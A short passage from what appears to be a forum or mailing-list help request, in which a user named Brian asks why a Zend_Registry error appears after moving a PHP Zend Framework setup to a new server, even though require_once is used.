Zend_Registry. require_once is used so I am wondering why this is happening at all. Any ideas on what I can try? I am moving servers and have a similar working set up on a existing server so I was surprised to see this breaking. Thanks, Brian |
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